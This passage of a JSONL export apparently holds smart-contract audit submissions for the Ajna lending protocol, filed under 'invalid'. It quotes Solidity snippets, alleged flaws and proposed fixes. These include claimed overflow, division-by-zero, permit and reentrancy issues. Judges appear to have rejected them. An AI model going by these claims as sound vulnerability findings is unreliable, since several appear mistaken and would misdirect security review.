\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L678-L683](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L678-L683)\n```solidity\n\n function _updateInterestState(\n PoolState memory poolState_,\n uint256 lup_\n ) internal {\n\n\n PoolCommons.updateInterestState(interestState, emaState, deposits, poolState_, lup_);\n\n```\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L149-L152](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L149-L152)\n```solidity\n\n vars.lupt0DebtEma = uint256(\n PRBMathSD59x18.mul(vars.weightTu, int256(vars.lupt0DebtEma)) +\n PRBMathSD59x18.mul(1e18 - vars.weightTu, int256(interestParams_.lupt0Debt))\n );\n\n```\nThis will lead to a bias in target utilization and interest rate dynamics:\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L269-L289](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L269-L289)\n\n```solidity\n\n function _calculateInterestRate(\n PoolState memory poolState_,\n uint256 debtEma_,\n uint256 depositEma_,\n uint256 debtColEma_,\n uint256 lupt0DebtEma_\n ) internal pure returns (uint256 newInterestRate_) {\n // meaningful actual utilization\n int256 mau;\n // meaningful actual utilization * 1.02\n int256 mau102;\n\n\n if (poolState_.debt != 0) {\n // calculate meaningful actual utilization for interest rate update\n mau = int256(_utilization(debtEma_, depositEma_));\n mau102 = (mau * PERCENT_102) / 1e18;\n }\n\n\n // calculate target utilization\n int256 tu = (lupt0DebtEma_ != 0) ? \n int256(Maths.wdiv(debtColEma_, lupt0DebtEma_)) : int(Maths.WAD);\n....\n```\n\n\n## Tool used\n\nManual Review + in-house tool\n\n## Recommendation\nConsider calculating LUP in moveQuoteToken() after deposit addition to the destination bucket. Deposit fee can be calculated from initial LUP only, so only one, final, LUP recalculation looks to be necessary.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/020.md"}} +{"title":"Incorrect implementation of `BPF` leads to kicker losing rewards in a `take` action","severity":"info","body":"Real Pastel Starfish\n\nhigh\n\n# Incorrect implementation of `BPF` leads to kicker losing rewards in a `take` action\n## Summary\n\nWhen a `take` action takes place, if `ThresholdPrice >= NeutralPrice` and `PriceTake = NeutralPrice`, the Bond Payment Factor (`BPF`) should be `bondFactor` but it will be 0, causing the loss of rewards of the kicker in that action. \n\n## Vulnerability Detail\n\nThe Bond Payment Factor (`BPF`) is the formula that determines the reward/penalty over the bond of a kicker in each `take` action. According to the whitepaper, the formula is described as:\n\n```solidity\n// If TP < NP\nBPF = bondFactor * min(1, max(-1, (NP - price) / (NP - TP)))\n\n// If TP >= NP\nBPF = bondFactor (if price <= NP)\nBPF = -bondFactor (if price > NP)\n```\n\nThe implementation of this formula is the following:\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L382-L411\n```solidity\nfunction _bpf(\n uint256 debt_,\n uint256 collateral_,\n uint256 neutralPrice_,\n uint256 bondFactor_,\n uint256 auctionPrice_\n) pure returns (int256) {\n int256 thresholdPrice = int256(Maths.wdiv(debt_, collateral_));\n\n int256 sign;\n if (thresholdPrice < int256(neutralPrice_)) {\n // BPF = BondFactor * min(1, max(-1, (neutralPrice - price) / (neutralPrice - thresholdPrice)))\n sign = Maths.minInt(\n 1e18,\n Maths.maxInt(\n -1 * 1e18,\n PRBMathSD59x18.div(\n int256(neutralPrice_) - int256(auctionPrice_),\n int256(neutralPrice_) - thresholdPrice\n )\n )\n );\n } else {\n int256 val = int256(neutralPrice_) - int256(auctionPrice_);\n if (val < 0 ) sign = -1e18;\n else if (val != 0) sign = 1e18; // @audit Sign will be zero when NP = auctionPrice\n }\n\n return PRBMathSD59x18.mul(int256(bondFactor_), sign);\n}\n```\n\nThe issue is that the implementation of the `BPF` formula in the code doesn't match the specification, leading to the loss of rewards in that `take` action in cases where `TP >= NP` and `price = NP`. \n\nAs showed in the above snippet, in cases where `TP >= NP` and `NP = price` (thus `val = 0`) the function won't set a value for `sign` (will be `0` by default) so that will result in a computed `BPF` of `0`, instead of `bondFactor` that would be the correct `BPF`.\n\n## Impact\n\nThe kicker will lose the rewards in that `take` action if the previous conditions are satisfied. \n\nWhile the probability of this conditions to be met is not usual, the impact is the loss of rewards for that kicker and that may cause to lose part of the bond if later a `take` is performed with a negative `BPF`. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L407\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the `_bpf` function to match the specification in order to fairly distribute the rewards in a `take` action:\n\n```diff\nfunction _bpf(\n uint256 debt_,\n uint256 collateral_,\n uint256 neutralPrice_,\n uint256 bondFactor_,\n uint256 auctionPrice_\n) pure returns (int256) {\n int256 thresholdPrice = int256(Maths.wdiv(debt_, collateral_));\n\n int256 sign;\n if (thresholdPrice < int256(neutralPrice_)) {\n // BPF = BondFactor * min(1, max(-1, (neutralPrice - price) / (neutralPrice - thresholdPrice)))\n sign = Maths.minInt(\n 1e18,\n Maths.maxInt(\n -1 * 1e18,\n PRBMathSD59x18.div(\n int256(neutralPrice_) - int256(auctionPrice_),\n int256(neutralPrice_) - thresholdPrice\n )\n )\n );\n } else {\n int256 val = int256(neutralPrice_) - int256(auctionPrice_);\n if (val < 0 ) sign = -1e18;\n- else if (val != 0) sign = 1e18;\n+ else sign = 1e18;\n }\n\n return PRBMathSD59x18.mul(int256(bondFactor_), sign);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/018.md"}} +{"title":"Rebasing tokens are lost in the pool","severity":"info","body":"Tall Wintergreen Parrot\n\nmedium\n\n# Rebasing tokens are lost in the pool\n## Summary\nIf an Ajna pool is used with rebasing tokens as collateral, the rebase is lost forever.\n\n## Vulnerability Detail\nIf a rebasing token is used as collateral the rebase stays in the pool but it's not tracked, losing it.\nThe good thing is that rebasings done as quote tokens, increase reserves and it's not lost.\n\nAn expansion of this issue is donations, every token which is transferred to the pool which is not use as quote token will be lost forever inside the pool.\n\n## Impact\nMedium\n\n## Code S\nSpecific example is proved in:\najna-core/tests/brownie/rebasing/test_rebasing_as_collateral.py\n\n[rebasing.zip](https://github.com/sherlock-audit/2023-09-ajna-poolpitako/files/13057901/rebasing.zip)\nnippet\n\n## Tool used\nBrownie for testing\n\n## Recommendation\n\nIt would be nice to add a functionality to start an auction of untracked tokens for ajna in a similar way `reserveAuction()` works.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/017.md"}} +{"title":"Lack of spender Verification in permit Function","severity":"info","body":"Happy Heather Meerkat\n\nmedium\n\n# Lack of spender Verification in permit Function\n## Summary\n\nIn the permit function within the smart contract code. The issue pertains to the absence of checks on the spender parameter, which may lead to potential vulnerabilities.\n\n## Vulnerability Detail\n\nThe `permit` function allows approving a third-party spender to interact with an owner's NFT. However, it lacks proper verification checks on the spender parameter. This means that virtually anyone, including the `owner` and `address 0`, can act as a spender without adequate verification. While this may not be a critical issue, it could lead to unintended interactions with the NFT, impacting the security and user experience.\n\n## Impact\n\nWithout sufficient checks on the spender, unauthorized or unintended parties could gain control over NFTs or execute actions that should be restricted. This can result in unauthorized transfers, approvals, or other interactions that may harm users and the system's security.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/PermitERC721.sol#L142-L166\n\n```solidity\n function permit(\n address spender_,\n uint256 tokenId_,\n uint256 deadline_,\n bytes memory signature_\n ) external {\n // check that the permit's deadline hasn't passed\n if (block.timestamp > deadline_) revert PermitExpired();\n\n // calculate signature digest\n bytes32 digest = _buildDigest(\n // owner,\n spender_,\n tokenId_,\n _nonces[tokenId_],\n deadline_\n );\n\n // check the address recovered from the signature matches the spender\n (address recoveredAddress, ) = ECDSA.tryRecover(digest, signature_);\n if (!_checkSignature(digest, signature_, recoveredAddress, tokenId_)) revert NotAuthorized();\n\n // approve the spender for accessing the tokenId\n _approve(spender_, tokenId_);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is advisable to implement proper checks and verification on the spender parameter within the `permit` function. This will ensure that only authorized and authenticated parties can perform interactions with the NFTs. Although not a critical issue, implementing such checks is essential for maintaining the security and integrity of the system.\n\nA revised implementation of the `permit` function should follow best practices, such as using a recovered address for spender verification. Consider using the EIP-2612 standard as a reference for secure permit functions.\n\nhttps://github.com/OpenZeppelin/openzeppelin-contracts/blob/6383299d715d7cd3d697ab655b42f8e61e52e197/contracts/token/ERC20/extensions/ERC20Permit.sol#L44C21-L67","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/015.md"}} +{"title":"`_lenderInterestMargin()` is calculated using the `pow()` function of `PRBMath`, which exhibits inconsistent return values","severity":"info","body":"Kind Cherry Swift\n\nmedium\n\n# `_lenderInterestMargin()` is calculated using the `pow()` function of `PRBMath`, which exhibits inconsistent return values\n## Summary\nVersions of PRBMath older than `v4` can return inconsistent values when `pow()` function is called.\n\n## Vulnerability Detail\nThe [_lenderInterestMargin() function](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L340) uses a version of PRBMath that contains a critical vulnerability in the pow() function, which can return inconsistent values. The creators of the PRBMath have acknowledged this situation. Here is the corresponding [link](https://github.com/sablier-labs/v2-core/pull/432). `v4` is supported only by solidity versions `0.8.19` or higher.
\nSimilar bug was raised a few months ago in the _PoolTogether_ audit [here](https://github.com/code-423n4/2023-07-pooltogether-findings/issues/423).\n\n## Impact\nThis can lead to incorrect calculations in multiple important functions across the pool like [accrueInterest()](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L220), [poolRatesAndFees()](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/PoolInfoUtilsMulticall.sol#L108) to name a few.\n\n## Code Snippet\nLine 340 of the [_lenderInterestMargin() function](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L340):\n```js\n File: src/libraries/external/PoolCommons.sol\n\n 323 function _lenderInterestMargin(\n 324 uint256 mau_\n 325 ) internal pure returns (uint256) {\n 326 // Net Interest Margin = ((1 - MAU1)^(1/3) * 0.15)\n 327 // Where MAU1 is MAU capped at 100% (min(MAU,1))\n 328 // Lender Interest Margin = 1 - Net Interest Margin\n 329\n 330 // PRBMath library forbids raising a number < 1e18 to a power. Using the product and quotient rules of\n 331 // exponents, rewrite the equation with a coefficient s which provides sufficient precision:\n 332 // Net Interest Margin = ((1 - MAU1) * s)^(1/3) / s^(1/3) * 0.15\n 333\n 334 uint256 base = 1_000_000 * 1e18 - Maths.min(mau_, 1e18) * 1_000_000;\n 335 // If unutilized deposit is infinitessimal, lenders get 100% of interest.\n 336 if (base < 1e18) {\n 337 return 1e18;\n 338 } else {\n 339 // cubic root of the percentage of meaningful unutilized deposit\n 340 @> uint256 crpud = PRBMathUD60x18.pow(base, ONE_THIRD);\n 341 // finish calculating Net Interest Margin, and then convert to Lender Interest Margin\n 342 return 1e18 - Maths.wdiv(Maths.wmul(crpud, 0.15 * 1e18), CUBIC_ROOT_1000000);\n 343 }\n 344 }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate the contracts to solidity version `0.8.19` and upgrade `PRBMath` to version `v4`.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/014.md"}} +{"title":"Invalid ``sumIndex_`` Boundary Check","severity":"info","body":"Fresh Parchment Raven\n\nmedium\n\n# Invalid ``sumIndex_`` Boundary Check\n## Summary\nThe code has a security vulnerability that allows for potential out-of-bounds access to arrays, leading to potential memory issues and unexpected behavior.\n\n## Vulnerability Detail\nIn the provided code, there is a lack of proper boundary checks when accessing arrays, specifically when working with the ``deposits_.values`` and ``deposits_.scaling`` arrays. The variable ``sumIndex_`` is used to index these arrays without prior verification, which can lead to out-of-bounds access if ``sumIndex_`` exceeds the array size.\n\n## Impact\nThe potential impact of this vulnerability includes:\n\n- Unauthorized access to memory, leading to unexpected behavior or data corruption.\n- Possible denial-of-service (DoS) attacks by intentionally manipulating ``sumIndex_`` to exceed array bounds.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Deposits.sol#L97-L132\n\n```solidity\n...\n while (i > 0) {\n // Consider if the target index is less than or greater than sumIndex_ + i\n curIndex = sumIndex_ + i;\n value = deposits_.values[curIndex];\n scaling = deposits_.scaling[curIndex];\n...\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is recommended to add boundary checks to ensure that ``sumIndex_`` does not exceed the array size (``MAX_FENWICK_INDEX``) before accessing ``deposits_.values`` and ``deposits_.scaling``. You can use a require statement to enforce this check. \n\n```solidity\n...\nwhile (i > 0) {\n curIndex = sumIndex_ + i;\n\n // Add the boundary check here\n require(curIndex <= MAX_FENWICK_INDEX, \"Invalid sumIndex_\");\n\n value = deposits_.values[curIndex];\n scaling = deposits_.scaling[curIndex];\n\n // ...\n\n i = i >> 1;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/013.md"}} +{"title":"Division by Zero in ``wdiv``, ``ceilWdiv``, ``floorWdiv``, ``ceilDiv`` function","severity":"info","body":"Fresh Parchment Raven\n\nmedium\n\n# Division by Zero in ``wdiv``, ``ceilWdiv``, ``floorWdiv``, ``ceilDiv`` function\n## Summary\n\"Division by Zero\" vulnerability in the code.\n\n## Vulnerability Detail\nThe vulnerability involves a division operation in the code where the divisor may be zero. Division by zero is an undefined mathematical operation and can lead to runtime exceptions, program crashes, and unexpected behavior in the software. This can occur when the divisor is not properly validated before the division operation is executed.\n\n## Impact\nDivision by zero can have significant consequences, including program termination or crashes. In certain cases, it can lead to incorrect results and unexpected behavior, which may impact the functionality and reliability of the software. In some situations, it can even be exploited by attackers to compromise the application's stability or security.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L26\n\n```solidity\nfunction wdiv(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x * WAD + y / 2) / y;\n}\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L30\n\n```solidity\nfunction floorWdiv(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x * WAD) / y;\n}\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L34\n\n```solidity\nfunction ceilWdiv(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x * WAD + y - 1) / y;\n}\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L38\n\n```solidity\nfunction ceilDiv(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x + y - 1) / y;\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate the division by zero vulnerability, it is recommended to implement proper checks and validation before performing division operations. Before dividing a value by another, ensure that the divisor is not zero. You can use conditional statements or the ``require`` statement to validate the divisor before performing the division. Additionally, consider providing appropriate error handling mechanisms to gracefully handle such cases, rather than causing program crashes or unexpected behavior.\n\n```solidity\nfunction wdiv(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y > 0, \"Division by zero in wdiv\");\n return (x * WAD + y / 2) / y;\n}\n\nfunction floorWdiv(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y > 0, \"Division by zero in floorWdiv\");\n return (x * WAD) / y;\n}\n\nfunction ceilWdiv(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y > 0, \"Division by zero in ceilWdiv\");\n return (x * WAD + y - 1) / y;\n}\n\nfunction ceilDiv(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y > 0, \"Division by zero in ceilDiv\");\n return (x + y - 1) / y;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/012.md"}} +{"title":"Overflow in ``wmul``, ``floorWmul``, ``ceilWmul``, ``wad``, ``rmul``, ``rayToWad`` function","severity":"info","body":"Fresh Parchment Raven\n\nhigh\n\n# Overflow in ``wmul``, ``floorWmul``, ``ceilWmul``, ``wad``, ``rmul``, ``rayToWad`` function\n## Summary\nOverflow vulnerability in the code.\n\n## Vulnerability Detail\nThe vulnerability is related to integer overflow, which occurs when the result of an arithmetic operation exceeds the maximum value that can be represented by the data type.\n\n## Impact\nThe overflow vulnerability can have significant consequences, including incorrect calculations, data corruption, or even potential security breaches. In a financial context, it could lead to financial losses or instability in the application.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L14\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L18\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L22\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L50\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L54\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Maths.sol#L70\n\n```solidity\nfunction wmul(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x * y + WAD / 2) / WAD;\n}\n\nfunction floorWmul(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x * y) / WAD;\n}\n\nfunction ceilWmul(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x * y + WAD - 1) / WAD;\n}\n\nfunction wad(uint256 x) internal pure returns (uint256) {\n return x * WAD;\n}\n\nfunction rmul(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x * y + RAY / 2) / RAY;\n}\n\nfunction rayToWad(uint256 x) internal pure returns (uint256) {\n return (x + 10**9 / 2) / 10**9;\n}\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate the overflow vulnerability, it is recommended to implement appropriate checks and safeguards. Consider using the ``require`` statement to ensure that variables involved in arithmetic operations do not exceed their maximum limits. Additionally, perform thorough testing to identify and address potential overflow issues throughout the codebase.\n\n```solidity\nfunction wmul(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y == 0 || (x * y / y == x), \"Overflow in wmul\");\n return (x * y + WAD / 2) / WAD;\n}\n\nfunction floorWmul(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y == 0 || (x * y / y == x), \"Overflow in floorWmul\");\n return (x * y) / WAD;\n}\n\nfunction ceilWmul(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y == 0 || (x * y / y == x), \"Overflow in ceilWmul\");\n return (x * y + WAD - 1) / WAD;\n}\n\nfunction wad(uint256 x) internal pure returns (uint256) {\n require(x <= type(uint256).max / WAD, \"Overflow in wad\");\n return x * WAD;\n}\n\nfunction rmul(uint256 x, uint256 y) internal pure returns (uint256) {\n require(y == 0 || (x * y / y == x), \"Overflow in rmul\");\n return (x * y + RAY / 2) / RAY;\n}\n\nfunction rayToWad(uint256 x) internal pure returns (uint256) {\n require(x <= type(uint256).max - 10**9, \"Overflow in rayToWad\");\n return (x + 10**9 / 2) / 10**9;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/011.md"}} +{"title":"The absence of ownership validation in the ``permit`` function","severity":"info","body":"Fresh Parchment Raven\n\nhigh\n\n# The absence of ownership validation in the ``permit`` function\n## Summary\nThe security vulnerability involves the absence of ownership validation in the ``permit`` function within the source code, allowing any user to delegate control of an NFT without verifying their ownership.\n\n## Vulnerability Detail\nIn the ``permit`` function, there is no check to confirm whether the caller is the actual owner of the NFT. As a result, anyone can call this function for any NFT without verifying their ownership. This lack of ownership validation may lead to unauthorized delegation and potential security issues.\n\n## Impact\n- Risk of unauthorized delegation of NFT ownership to non-owners.\n- Potential manipulation or misuse of NFTs, which could result in financial losses for users.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/PermitERC721.sol#L142-L166\n\n```solidity\nfunction permit(\n address spender_,\n uint256 tokenId_,\n uint256 deadline_,\n bytes memory signature_\n) external {\n // ...\n \n // approve the spender for accessing the tokenId\n _approve(spender_, tokenId_);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this vulnerability, it is crucial to validate the ownership of the NFT by the caller before allowing them to delegate control. Implement checks to ensure that only the actual owners of NFTs can delegate permission to prevent unauthorized delegation and potential security risks.\n\n```solidity\nfunction permit(\n address spender_,\n uint256 tokenId_,\n uint256 deadline_,\n bytes memory signature_\n) external {\n // Check that the permit's deadline hasn't passed\n if (block.timestamp > deadline_) revert PermitExpired();\n\n // Check that the caller is the owner of the tokenId\n require(msg.sender == ownerOf(tokenId_), \"Not the owner\");\n\n .....\n // Approve the spender for accessing the tokenId\n _approve(spender_, tokenId_);\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/010.md"}} +{"title":"Lack of validation for the ``spender_`` contract","severity":"info","body":"Fresh Parchment Raven\n\nmedium\n\n# Lack of validation for the ``spender_`` contract\n## Summary\nThe security issue pertains to the lack of validation for the ``spender_`` contract's validity in the ``permit`` function in the source code.\n\n## Vulnerability Detail\nIn the ``permit`` function, there is no validation of the ``spender_`` contract's validity before delegating permission to it. This may allow the caller to delegate control to a malicious contract that could perform undesired actions on NFTs.\n\n## Impact\n- Risk to NFT owners, as they may delegate control of their NFTs to unsafe contracts.\n- Potential loss or unauthorized use of cryptocurrency or digital assets of users.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/PermitERC721.sol#L143\n\n```solidity\nfunction permit(\n address spender_,\n uint256 tokenId_,\n uint256 deadline_,\n bytes memory signature_\n) external {\n // ...\n \n // approve the spender for accessing the tokenId\n _approve(spender_, tokenId_);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, it is crucial to perform validation for the spender_ contract's validity before delegating permission to it. You should use functions to validate the address and contract's legitimacy before allowing permission, ensuring that only safe and authorized contracts can make changes to the NFTs.\n\n```solidity\nfunction permit(\n address spender_,\n uint256 tokenId_,\n uint256 deadline_,\n bytes memory signature_\n) external {\n if ( spender_ == address(0) ) revert DeployWithZeroAddress();\n \n // approve the spender for accessing the tokenId\n _approve(spender_, tokenId_);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/009.md"}} +{"title":"Functions lack reentrancy protection","severity":"info","body":"Soaring Cyan Dalmatian\n\nmedium\n\n# Functions lack reentrancy protection\n## Summary\nFunctions lack reentrancy protection\n## Vulnerability Detail\nThe protocol lacks proper reentrancy protection in many of its functions, such as redeemPositions() and memorializePositions(). This deficiency poses a significant security concern. Without adequate reentrancy protection, the protocol becomes vulnerable to reentrancy attacks, where malicious actors can potentially exploit these functions to execute unintended and potentially harmful actions.\n```solidity\nfunction redeemPositions(\n address pool_,\n uint256 tokenId_,\n uint256[] calldata indexes_\n ) external override mayInteract(pool_, tokenId_) {\n TokenInfo storage tokenInfo = positionTokens[tokenId_];\n\n IPool pool = IPool(pool_);\n\n // local vars used in for loop for reduced gas\n uint256 index;\n uint256 indexesLength = indexes_.length;\n uint256[] memory lpAmounts = new uint256[](indexesLength);\n\n // retrieve LP amounts from each bucket index associated with token id\n for (uint256 i = 0; i < indexesLength; ) {\n index = indexes_[i];\n\n Position memory position = tokenInfo.positions[index];\n\n if (position.lps == 0 || position.depositTime == 0) revert RemovePositionFailed();\n\n // check that bucket didn't go bankrupt after memorialization\n if (_bucketBankruptAfterDeposit(pool, index, position.depositTime)) revert BucketBankrupt();\n\n // remove bucket index at which a position has added liquidity\n if (!tokenInfo.positionIndexes.remove(index)) revert RemovePositionFailed();\n\n lpAmounts[i] = position.lps;\n\n // remove LP tracked by position manager at bucket index\n delete tokenInfo.positions[index];\n\n unchecked { ++i; }\n }\n\n address owner = ownerOf(tokenId_);\n\n // approve owner to take over the LP ownership (required for transferLP pool call)\n pool.increaseLPAllowance(owner, indexes_, lpAmounts);\n // update pool lps accounting and transfer ownership of lps from PositionManager contract\n pool.transferLP(address(this), owner, indexes_);\n\n emit RedeemPosition(owner, tokenId_, indexes_);\n }\n```\n\n## Impact\nMalicious actors can potentially exploit these functions to execute unintended and potentially harmful actions.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/PositionManager.sol#L183\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/PositionManager.sol#L402\n\n## Tool used\n\nManual Review\n\n## Recommendation\n It is crucial to implement reentrancy protection mechanisms","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/008.md"}} +{"title":"Uncontrolled token minting vulnerability","severity":"info","body":"Soaring Cyan Dalmatian\n\nmedium\n\n# Uncontrolled token minting vulnerability\n## Summary\nThe unrestricted increment of the _nextId variable, allowing malicious actors to continuously call the function and potentially exhaust resources, causing the `_nextId` variable to increment continuously until it reaches the upper limit.\n\n## Vulnerability Detail\nThe `mint()` function is used to create new tokens and assigning them to specific recipients within a specified pool. Inside the function, the protocol generates a new token ID (tokenId_) that is assigned to the caller. The token ID is obtained by incrementing the `_nextId` variable.The `tokenId_` is of type uint176, and a security concern arises from the fact that bad actors can repeatedly call the `mint()` function, causing the `_nextId` variable to increment continuously until it reaches the upper limit.\n```solidity\nfunction mint(\n address pool_,\n address recipient_,\n bytes32 poolSubsetHash_\n ) external override nonReentrant returns (uint256 tokenId_) {\n // revert if the address is not a valid Ajna pool\n if (!_isAjnaPool(pool_, poolSubsetHash_)) revert NotAjnaPool();\n\n tokenId_ = _nextId++;\n\n // record which pool the tokenId was minted in\n positionTokens[tokenId_].pool = pool_;\n\n _mint(recipient_, tokenId_);\n\n emit Mint(recipient_, pool_, tokenId_);\n }\n\n```\n\n## Impact\nMint function will become unavailable.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/PositionManager.sol#L249-L265\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is essential to implement proper access control and checks within the mint function.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/007.md"}} +{"title":"Use `msg.sender.onFlashLoan()` instead of `receiver_.onFlashLoan()`","severity":"info","body":"Soaring Cyan Dalmatian\n\nmedium\n\n# Use `msg.sender.onFlashLoan()` instead of `receiver_.onFlashLoan()`\n## Summary\nUse `msg.sender.onFlashLoan()` instead of `receiver_.onFlashLoan()`\n\n## Vulnerability Detail\nThe function `FlashloanablePool.flashLoan()` enables users to borrow a specified amount of a token temporarily within a single transaction. The `onFlashLoan()` function is called on the recipient's contract (receiver_). \n```solidity\n function flashLoan(\n IERC3156FlashBorrower receiver_,\n address token_,\n uint256 amount_,\n bytes calldata data_\n ) external virtual override nonReentrant returns (bool success_) {\n if (!_isFlashloanSupported(token_)) revert FlashloanUnavailableForToken();\n\n IERC20 tokenContract = IERC20(token_);\n\n uint256 initialBalance = tokenContract.balanceOf(address(this));\n\n tokenContract.safeTransfer(\n address(receiver_),\n amount_\n );\n\n if (receiver_.onFlashLoan(msg.sender, token_, amount_, 0, data_) != \n keccak256(\"ERC3156FlashBorrower.onFlashLoan\")) revert FlashloanCallbackFailed();\n\n```\n\nIn Uniswap V2, the flash loan callback is implemented with a similar logic. However, in Uniswap V3, the flash loan callback is executed by calling the msg.sender's callback function, instead of the receiver's callback function. Calling the receiver's callback could potentially result in unforeseen consequences. It is recommended to adopt the approach used in Uniswap V3 by invoking the msg.sender's [callback ](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L808)function for a more predictable and secure execution flow.\n\n```solidity\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock noDelegateCall {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = 